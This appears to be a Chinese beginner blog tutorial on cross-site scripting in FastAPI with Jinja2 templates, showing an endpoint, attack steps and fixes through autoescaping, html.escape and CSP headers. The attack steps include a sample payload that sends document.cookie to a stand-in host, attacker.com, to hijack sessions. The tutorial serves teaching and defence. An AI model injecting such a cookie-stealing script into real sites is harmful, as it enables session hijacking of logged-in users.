安全小白入门(2)-----跨站脚本(XSS)

跨站脚本(XSS)

1. 漏洞原理

XSS 是由于 用户输入的恶意脚本未被转义,直接在浏览器中执行,导致攻击者窃取 Cookie、伪造身份或钓鱼。FastAPI 虽以 JSON 接口为主,但若返回 HTML 内容(如模板渲染)或前端直接渲染 API 返回的用户输入,仍可能触发 XSS。

2. 攻击场景(FastAPI 漏洞代码)

假设 FastAPI 接口返回包含用户输入的 HTML 页面(使用 Jinja2 模板):

python 复制代码
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

app = FastAPI()
templates = Jinja2Templates(directory="templates")

# 漏洞接口:未转义用户输入,直接渲染到HTML
@app.get("/welcome")
def welcome(request: Request, username: str):
    # 危险!username直接拼接进HTML,若包含脚本会执行
    return templates.TemplateResponse("welcome.html", {
        "request": request,
        "username": username  # 攻击者可构造username=<script>恶意代码</script>
    })

对应的templates/welcome.html模板:

html 复制代码
<!DOCTYPE html>
<html>
<head>
    <title>Welcome</title>
</head>
<body>
    <!-- 未转义渲染用户输入 -->
    <h1>Welcome, {{ username }}!</h1>
</body>
</html>

攻击步骤:

  1. 攻击者访问接口,构造恶意username/welcome?username=<script>alert('XSS')</script>
  2. 浏览器渲染页面时, <script>标签被执行,弹出 "XSS" 提示(简单演示)。
  3. 进阶攻击:窃取 Cookie 并发送到攻击者服务器:/welcome?username=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>若用户已登录,Cookie 包含会话信息,攻击者可劫持会话。

3. 防护方案(修复代码 + 最佳实践)

核心原则:对用户输入进行 HTML 转义,或避免在 HTML 中直接渲染用户输入

修复方案 1:模板自动转义(Jinja2 默认开启)

Jinja2 模板默认会对{{ variable }}进行 HTML 转义(将<转义为&lt;>转义为&gt;等),恶意脚本会被当作普通文本显示。上述代码无需修改,Jinja2 已自动防护 ------ 若用户输入<script>,会被转义为&lt;script&gt;,不会执行。

修复方案 2:手动转义(若需自定义渲染)

若使用其他模板引擎或手动拼接 HTML,需手动转义用户输入(使用html模块):

python 复制代码
import html

@app.get("/welcome")
def welcome(request: Request, username: str):
    # 手动转义用户输入,确保安全
    safe_username = html.escape(username)
    return templates.TemplateResponse("welcome.html", {
        "request": request,
        "username": safe_username
    })

额外防护:

  • 避免返回 HTML:FastAPI 优先使用 JSON 接口,前端通过 JavaScript 渲染数据(JSON 不会执行脚本)。
  • 设置安全响应头:通过fastapi.middleware.cors.CORSMiddleware限制跨域,或添加Content-Security-Policy(CSP)头,禁止加载外部脚本。
相关推荐
kyriewen1 小时前
我手写了一个 EventEmitter,面试官追问了 6 个问题——第 4 个我没答上来
前端·javascript·面试
杨充1 小时前
1.面向对象设计思想
后端
IT_陈寒1 小时前
Java的Date类又坑了我一次,改用时间戳真香
前端·人工智能·后端
systemPro2 小时前
2.6亿条设备数据,历史查询从超时到50ms,我做了什么
后端
小林攻城狮2 小时前
使用 Transport 节流解决 Vercel AI SDK 流式渲染卡死问题
前端·react.js
要阿尔卑斯吗2 小时前
提示词优化启示:为什么“按顺序输出“比“关键度评分“更有效
后端
前端缘梦2 小时前
告别 TS 运行时类型漏洞!Zod 完整入门实战教程(前端 / 全栈必备)
前端·react.js·全栈
the_answer2 小时前
Webpack vs Vite 深度对比分析
前端·webpack
转转技术团队3 小时前
验证码识别实战:前端不写页面,改训模型了?
前端
MomentYY3 小时前
Temperature:AI 的“脑洞旋钮”
前端·llm·ai编程